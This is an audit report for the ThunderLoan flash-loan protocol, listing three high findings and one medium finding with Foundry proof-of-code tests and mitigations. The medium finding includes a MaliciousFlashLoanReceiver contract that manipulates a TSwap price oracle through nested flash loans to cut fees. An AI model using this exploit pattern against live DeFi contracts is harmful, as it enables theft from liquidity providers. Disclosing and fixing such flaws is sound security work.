ThunderLoan Audit Report

Version 1.0

Keyword

January 29, 2024

Protocol Audit Report

xKeywordx

January 29, 2024

Prepared by: xKeywordx

Table of Contents

Protocol Summary

The ThunderLoan protocol is meant to do the following:

Give users a way to create flash loans Give liquidity providers a way to earn money off their capital Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current ThunderLoan contract to the ThunderLoanUpgraded contract. Please include this upgrade in scope of a security review.

Disclaimer

Keyword makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Scope

```
-- interfaces
|   -- IFlashLoanReceiver.sol
|   -- IPoolFactory.sol
|   -- ITSwapPool.sol
```

```
|   -- IThunderLoan.sol
-- protocol
|   -- AssetToken.sol
|   -- OracleUpgradeable.sol
|   -- ThunderLoan.sol
-- upgradedProtocol
    -- ThunderLoanUpgraded.sol
```

Roles

Owner: The owner of the protocol who has the power to upgrade the implementation. Liquidity Provider: A user who deposits assets into the protocol to earn interest. User: A user who takes out flash loans from the protocol.

Executive Summary

Known issues

- We are aware that getCalculatedFee can result in 0 fees for very small flash loans. We are OK with that. There is some small rounding errors when it comes to low fees
- We are aware that the first depositor gets an unfair advantage in assetToken distribution. We will be making a large initial deposit to mitigate this, and this is a known issue
- We are aware that “weird” ERC20s break the protocol, including fee-on-transfer, rebasing, and ERC-777 tokens. The owner will vet any additional tokens before adding them to the protocol.

Issues found

Severity	Number of issues found
High	3
Medium	1
Low	0
Gas	0
Info	0
Total	4

Findings

Highs

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemptions, and incorrectly sets the exchange rate.

Description: In the ThunderLoan system, the `exchangeRate` is responbile for calculating the exchange rate between assetTokens and underlying tokens. In a way, it is responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function updates this rate, without collecting any fees!

```
1      function deposit(IERC20 token, uint256 amount) external
           revertIfZero(amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate();
4          uint256 mintAmount = (amount * assetToken.
               EXCHANGE_RATE_PRECISION()) / exchangeRate;
5          emit Deposit(msg.sender, token, amount);
6          assetToken.mint(msg.sender, mintAmount);
7  @>      uint256 calculatedFee = getCalculatedFee(token, amount);
8  @>      assetToken.updateExchangeRate(calculatedFee);
9          token.safeTransferFrom(msg.sender, address(assetToken), amount)
               ;
10     }
```

Impact: There are several impacts to this bug.

1. The `redeem` function is blocked because the thinks the owed tokens is more than it has.
2. Rewards are incorrectly calculated leading to liquidity providers potentially getting more or less than deserved.

Proof of Concept:

1. LP deposit.
2. User takes a flash loan.
3. It is now impossible for LP to redeem.

Proof of code

```
1      function testRedeemAfterLoan() public setAllowedToken hasDeposits {
2          uint256 amountToBorrow = AMOUNT * 10;
3          uint256 calculatedFee = thunderLoan.getCalculatedFee(
4              tokenA,
```

```
            amountToBorrow
        );
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(
            address(mockFlashLoanReceiver),
            tokenA,
            amountToBorrow,
            ""
        );
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Recommended Mitigation: Remove the incorrectly updated exchange rate lines from `deposit`.

```
    function deposit(IERC20 token, uint256 amount) external
        revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

[H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

[H-3] Mixing up variable location causes storage collisions in `ThunderLoan::flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

Description: `ThunderLoan.sol` has two variables in the following order:

```
uint256 private s_feePrecision;
uint256 private s_flashLoanFee;
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
uint256 private s_flashLoanFee;
uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables, breaks the storage locations as well.

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade, will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping will start in the wrong storage slot.

Proof of Concept:

PoC

Place the following into `ThunderLoanTest.t.sol`.

```
import {ThunderLoanUpgraded} from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";
.
.
.
    function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console2.log("Fee Before: ", feeBeforeUpgrade);
        console2.log("Fee After: ", feeAfterUpgrade);
        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout differences by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoadUpgraded storage`.

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
-    uint256 private s_flashLoanFee;
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

Mediums

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will get drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
    1. User sells 1000 `tokenA`, tanking the price.
    2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
        1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
    function getPriceInWeth(address token) public view returns (uint256
        ) {
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
            token);
@>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
    ();
    }
```

```
3. The user then repays the first flash loan, and then repays the
    second flash loan.
```

Proof of Concept:

```
    function testOracleManipulation() public {
        //1. set up contracts
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
            ;
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));
```

```
10
11          //2. Fund TSwap pool
12          vm.startPrank(liquidityProvider);
13          tokenA.mint(liquidityProvider, 100e18);
14          tokenA.approve(address(tswapPool), 100e18);
15          weth.mint(liquidityProvider, 100e18);
16          weth.approve(address(tswapPool), 100e18);
17          BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
                timestamp);
18          vm.stopPrank();
19
20          //3. Fund ThunderLoan
21          //set allow
22          vm.prank(thunderLoan.owner());
23          thunderLoan.setAllowedToken(tokenA, true);
24          //fund it
25          vm.startPrank(liquidityProvider);
26          tokenA.mint(liquidityProvider, 1000e18);
27          tokenA.approve(address(thunderLoan), 1000e18);
28          thunderLoan.deposit(tokenA, 1000e18);
29          vm.stopPrank();
30
31          //4. Take 2 flash loans to manipulate price
32          //      a. Nuke the price of Weth/TokenA on Tswap
33          //      b. Show that doing so greatly reduces the fees we pay
                on Thuderloan
34
35          uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
                100e18);
36          console2.log("Normal fee is: ", normalFeeCost);
37
38          uint256 amountToBorrow = 50e18;
39          MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
                (
40              address(tswapPool),
41              address(thunderLoan),
42              address(thunderLoan.getAssetFromToken(tokenA))
43          );
44
45          vm.startPrank(user);
46          tokenA.mint(address(flr), 100e18);
47          thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
                ;
48          vm.stopPrank();
49
50          uint256 attackFee = flr.feeOne() - flr.feeTwo();
51          console2.log("Attack Fee is: ", attackFee);
52          assert(attackFee < normalFeeCost);
53      }
54
55
```

```
56 contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
57     ThunderLoan thunderLoan;
58     address repayAddress;
59     BuffMockTSwap tswapPool;
60     bool attacked;
61     uint256 public feeOne;
62     uint256 public feeTwo;
63
64     constructor(address _tswapPool, address _thunderLoan, address
           _repayAddress) {
65         tswapPool = BuffMockTSwap(_tswapPool);
66         thunderLoan = ThunderLoan(_thunderLoan);
67         repayAddress = _repayAddress;
68     }
69
70     function executeOperation(
71         address token,
72         uint256 amount,
73         uint256 fee,
74         address /*initiator*/,
75         bytes calldata /*params*/
76     ) external returns (bool) {
77         if (!attacked) {
78             feeOne = fee;
79             attacked = true;
80             uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                   (50e18, 100e18, 100e18);
81             IERC20(token).approve(address(tswapPool), 50e18);
82             tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                   wethBought, block.timestamp);
83             thunderLoan.flashloan(address(this), IERC20(token), amount,
                    "");
84             // IERC20(token).approve(address(thunderLoan), amount + fee
                   );
85             // thunderLoan.repay(IERC20(token), amount + fee);
86             IERC20(token).transfer(address(repayAddress), amount + fee)
                   ;
87         } else {
88             feeTwo = fee;
89             // IERC20(token).approve(address(thunderLoan), amount + fee
                   );
90             // thunderLoan.repay(IERC20(token), amount + fee);
91             IERC20(token).transfer(address(repayAddress), amount + fee)
                   ;
92         }
93         return true;
94     }
95 }
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.